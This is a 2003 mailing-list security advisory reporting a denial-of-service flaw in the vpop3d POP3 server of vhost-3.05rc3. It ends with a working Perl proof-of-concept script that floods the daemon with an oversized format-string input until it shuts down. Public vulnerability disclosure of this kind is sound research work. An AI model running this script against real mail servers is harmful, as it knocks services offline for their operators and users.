bugtraq - Vhost-3.05rc3 DOS..

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Date: Tue, 19 Aug 2003 11:15:02 +0000 (UTC)
From: Daniel <deadbeat@....lonestar.org>
To: <full-disclosure@...ts.netsys.com>, <bugtraq@...urityfocus.com>
Subject: Vhost-3.05rc3 DOS..



	Topic:			vhost-3.05r3 DOS

	Product:		vhost-3.05r3

	Note:			for a laugh grep vpop3d.cc for
				strcpy or sprintf..loool

	Vendor Notification:	Vendor Notified


Background:

	vhost - one-step solution for all virtual hosting needs
	Copyright(c) Chaogic Systems, LLC. http://chaogic.com
	Author: Jake Fan <jake@...ogic.com>
	allows the setting up of vhosts for mail and web.


Problem Description:

	Seems that an attacker (remote or local) can cause a DOS on the
	vpop3d server, using a lengthy request..
	This seems to cause the pop3 server to timeout then daemon
	drops...Note this was tested locally, with the binary..
	Seems that also if we attach gdb to the running process that also
	locks vpop3d.. ;)

	Once we've hit it with our huge USER string it gives this mesg
	after 5mins or so..
	"-ERR POP3 Server Abnormal Shutdown: Timeout waiting for command
	from client"

Impact:

	DOS on the vpop3d daemon, means a manual restart of the daemon.


Patch:

	Far too much to patch in this code!!!


Exploit:

Nothing special..
----------------------------------------------------------
#!/usr/bin/perl

#vpop3d Denial Of Service..
#Proof of Concept script..
#Deadbeat, uk2sec..
#e: deadbeat@....lonestar.org
#e: daniels@...end.co.uk

use IO::Socket;
$host = $ARGV[0];
$port = $ARGV[1];
if(!$ARGV[1]){
        die "usage: perl $0 <host> <port>\n";
}
$dos = "%s%s"x5000;
$req = "USER $dos";
$sox = IO::Socket::INET->new(
        Proto=>"tcp",
        PeerPort=>$port,
        PeerAddr=>$host
)or die "can't connect to $host : $port\n";
sleep 2;
print $sox $dos;
sleep 1;
print "done..vpop3d should lock now :)\n";

------------------------------EOF-------------------------


Regards,
Deadbeat, uk2sec..

-------------------------------------
Deadbeat,
e:	deadbeat@....lonestar.org
e:	daniels@...end.co.uk

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